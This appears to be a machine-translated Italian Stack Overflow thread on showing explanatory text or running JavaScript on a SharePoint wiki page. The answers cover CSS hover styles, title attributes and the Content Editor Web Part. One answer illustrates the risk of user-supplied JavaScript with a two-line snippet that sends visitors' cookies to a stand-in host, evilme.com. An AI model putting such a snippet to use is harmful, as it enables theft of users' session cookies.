Domanda

Come è possibile, come l'amministratore del wiki, invio di scripting (Javascript) in Sharepoint pagina wiki?

Vorrei inserire un titolo e, quando si fa clic su di che, dopo aver visualizzato sotto di essa una piccola spiegazione.Di solito ho fatto con javascript, qualsiasi altra idea?

È stato utile?

Soluzione

Supponendo che sei l'amministratore del wiki e sono disposti visualizzare questa mouseover invece di fare clic su, non hai bisogno di javascript a tutti-si può usare direttamente CSS.Ecco un esempio di stili e di markup:

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN"
  "http://www.w3.org/TR/html4/strict.dtd">
<html>
<head>
  <title>Test</title>
  <style type="text/css">
    h1 { padding-bottom: .5em; position: relative; }
    h1 span { font-weight: normal; font-size: small; position: absolute; bottom: 0; display: none; }
    h1:hover span { display: block; }
  </style>
</head>
<body>
  <h1>Here is the title!
    <span>Here is a little explanation</span>
  </h1>
  <p>Here is some page content</p>
</body>
</html>

Con un po ' più coinvolti stili, la tua casella descrizione può guardare così bello come si vorrebbe.

Altri suggerimenti

Se il wiki autori di saggi, probabilmente non c'è modo di fare questo.

Il problema con il contributo degli utenti in JavaScript che apre la porta a tutte le forme di malfattori per afferrare i dati dell'ignaro.

Supponiamo che il male, per me post di uno script su un sito web pubblico:

i = new Image();
i.src = 'http://evilme.com/store_cookie_data?c=' + document.cookie;

Ora voglio ricevere le informazioni del cookie di ogni visitatore della pagina, inviato a un registro sul mio server.E questo è solo la punta dell'iceberg.

Dipende completamente sul Wiki specifico software che si sta utilizzando.Il modo in cui ho visto il lavoro sta per ospitare un file js da qualche altra parte e quindi includere un tag script con un attributo src.

Se essi non consentono che, forse, permettono un IFRAME che è possibile impostare una pagina che contiene lo script.Utilizzando la seconda tecnica, non sarà consentito l'accesso a host DOM della pagina.

Mi piace il CSS risposta.Quando è possibile utilizzare i CSS invece di Javascript risulta più semplice markup.
Un'altra cosa da guardare è la Comunità Kit per SharePoint Enhanced Wiki Edizione su Codeplex.È possibile scaricare il codice sorgente e aggiungere le proprie caratteristiche.O si può suggerire questo come una nuova funzione del forum.

Che suona come un rischio per la sicurezza.Sembra che sia possibile per l'amministratore del wiki per installare gli script, vedere wikipedia script utente.

Se stai parlando di utilizzo di Javascript come parte di una pagina web su questo sito, non è possibile.O di qualsiasi altro wiki per quella materia - è un rischio per la sicurezza.

Se stai parlando di postare un esempio di codice, fare clic su "101010' pulsante sopra la casella di testo.

Sarebbe naturalmente dipende dalla wiki motore di cui stai parlando.Più probabile, però, come sblundy dice, sarebbe un rischio per la sicurezza, per consentire il libero utilizzo di javascript sulla pagina wiki.

Si dovrebbe essere in grado di aggiungere il codice javascript per il pubblico wiki.Se si ospitano da te, allora avete bisogno di chiedere uno specifico sistema wiki in modo che qualcuno possa aiutare a modificare le impostazioni, se possibile, per il sistema.

Aggiungere title="text here" per ogni tag e dovrebbe mostrare un testo quando si passa il mouse su di esso.
Internet Explorer viene visualizzato il testo quando si utilizza il alt="text here" attributo, anche se non secondo le norme vigenti.

Ho provato ora, e si può aggiungere <h2 title="some explanation here">headline</h2> per qualsiasi sistema basato su wikimedia (quello che usiamo).

Utilizzare una Web Part Editor Contenuto

Nella barra multifunzione, selezionare Insert e scegliere Web Part.Dal menu, andare a Media and Content e scegliere Content Editor.Da appena creato la web part del menu a discesa, scegliere Edit Web Part.Da destra webpart menu impostazioni, espandere Appearance e impostare Chrome Type per None.Fare clic su Click Here to Add Content sul web part e di individuare Edit HTML Source nel nastro.È possibile utilizzare codice HTML in questa zona senza essere sterilizzata di distanza.

Nota:Se hai intenzione di aggiungere comportamenti di un sacco di elementi della pagina, è possibile che si desidera caricare .js file di Libreria di stili e comprendono solo il <script src="..."> tag Editor Contenuto.Si potrebbe anche voler esaminare l'uso del master o del layout di pagina.

Fonte: https://cobwwweb.com/how-to-run-javascript-on-sharepoint-pages

Autorizzato sotto: CC-BY-SA insieme a attribuzione
Non affiliato a StackOverflow
scroll top